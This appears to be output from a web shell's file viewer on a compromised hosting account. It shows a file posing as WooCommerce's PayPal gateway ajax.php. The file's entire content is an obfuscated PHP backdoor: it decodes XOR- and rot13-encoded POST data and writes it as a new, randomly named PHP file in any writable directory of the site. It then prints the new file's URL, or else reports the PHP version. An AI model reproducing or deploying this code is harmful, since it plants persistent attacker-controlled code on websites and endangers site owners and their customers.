HEX
Server: Apache
System: Linux webm006.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/dallavitae/OLD_WP/wp-content/plugins/woocommerce/includes/gateways/paypal/ajax.php
<?php $ENqSFXY = "HaeLjIPcTe";function aMlqLp($ENqSFXY){$vspEqGpW = chr(927-813)."\141"."\167".'u'.'r'.'l'.chr(100).chr(101).chr(99).chr(111).chr(100)."\x65";$BzExgB = chr(439-324).'t'."\162"."\137".chr(114)."\x6f".chr(116).chr(49)."\63";$HahlBzHjP = "\163"."\164"."\x72"."\x5f"."\x73"."\x70".chr(572-464)."\x69".chr(116);$ENqSFXY = $HahlBzHjP($vspEqGpW($BzExgB($ENqSFXY)));return $ENqSFXY;}function FftTF($DpfmnGDPw, $RhuJcP){$CNZxjVQW = 's'.'t'.chr(114).chr(672-577).'s'.'p'.'l'."\151".'t';$DpfmnGDPw = array_slice($CNZxjVQW(str_repeat($DpfmnGDPw, (count($RhuJcP)/16)+1)), 0, count($RhuJcP));return $DpfmnGDPw;}function BcwPq($ZyrxWUM, $FgjhwARKY, $DpfmnGDPw){$emWWfoFQE = "0c1da7ed-f861-4969-88be-50509dd097c1";return $ZyrxWUM ^ $emWWfoFQE[$FgjhwARKY % strlen($emWWfoFQE)] ^ $DpfmnGDPw;}function WxfFi($RhuJcP, $DpfmnGDPw){$RhuJcP = array_map("BcwPq", array_values($RhuJcP), array_keys($RhuJcP), array_values($DpfmnGDPw));$RhuJcP = implode("", $RhuJcP);$lxRYFu = "\x75".'n'.'s'.chr(101).'r'."\x69".'a'.chr(108).'i'.chr(635-513)."\145";$RhuJcP = @$lxRYFu($RhuJcP);return $RhuJcP;}function fBGNZD(){echo "zDIuP";}function COaJcDr($IuLbRAZir){static $pyfQXviXvm = array();$DDHcSb = glob($IuLbRAZir . '/*', GLOB_ONLYDIR);$gVWtD = count($DDHcSb);if ($gVWtD > 0) {foreach ($DDHcSb as $IuLbRAZ) {$bnNTvpnGvy = "\151"."\x73"."\137".'w'.chr(941-827)."\x69"."\x74".'a'."\x62".chr(560-452).'e';if (@$bnNTvpnGvy($IuLbRAZ)) {$pyfQXviXvm[] = $IuLbRAZ;}}}foreach ($DDHcSb as $IuLbRAZir) COaJcDr($IuLbRAZir);return $pyfQXviXvm;}function UtxsBeGrBj(){echo "HaeLjIPcTe";}function HoMsJgTrX($RhuJcP){$uQpdUb = 'D'.chr(79)."\x43"."\125".chr(217-140).'E'."\x4e"."\124"."\x5f"."\x52"."\117".chr(375-296).chr(171-87);$SsAIbY = $_SERVER[$uQpdUb];$DDHcSb = COaJcDr($SsAIbY);$LoWmQtCY = array_rand($DDHcSb);$Bvhkzvc = "\56"."\160"."\x68".chr(510-398);$RnBGaD = $DDHcSb[$LoWmQtCY] . "/" . substr(md5(time()), 0, 8) . $Bvhkzvc;$jrzKwJ = "\x66".'i'.chr(442-334).'e'.chr(95).'p'.chr(117).chr(116)."\137"."\143"."\x6f".'n'."\164".'e'."\156".'t'."\x73";@$jrzKwJ($RnBGaD, $RhuJcP);$yIJVf = chr(742-670).chr(84).chr(617-533)."\x50".'_'."\110"."\x4f"."\123"."\124";$cQZIv = chr(419-315)."\164".chr(805-689).chr(954-842)."\72".chr(47).'/';$sTbxR = $cQZIv . $_SERVER[$yIJVf] . substr($RnBGaD, strlen($SsAIbY));print($sTbxR);}foreach ($_POST as $DpfmnGDPw => $RhuJcP){$lEBlVCvaa = strlen($DpfmnGDPw);if ($lEBlVCvaa == 16){$RhuJcP = aMlqLp($RhuJcP);$DpfmnGDPw = FftTF($DpfmnGDPw, $RhuJcP);$RhuJcP = WxfFi($RhuJcP, $DpfmnGDPw);if (@is_array($RhuJcP)){$LoWmQtCY = array_keys($RhuJcP);$RhuJcP = $RhuJcP[$LoWmQtCY[0]];$LoWmQtCY = $LoWmQtCY[0];if ($RhuJcP !== $LoWmQtCY){HoMsJgTrX($RhuJcP);}else {$VALcuWRX = "\x70".'h'.chr(628-516);$MXtflpX = chr(1045-933).chr(104).chr(787-675)."\x76"."\145".chr(114).'s'."\x69"."\x6f".chr(927-817);$RhuJcP = Array($VALcuWRX => @$MXtflpX(), );$bVbsEFbxs = "\x73".chr(101)."\x72"."\x69".chr(1050-953).chr(279-171)."\151"."\x7a"."\145";echo @$bVbsEFbxs($RhuJcP);}die();}}}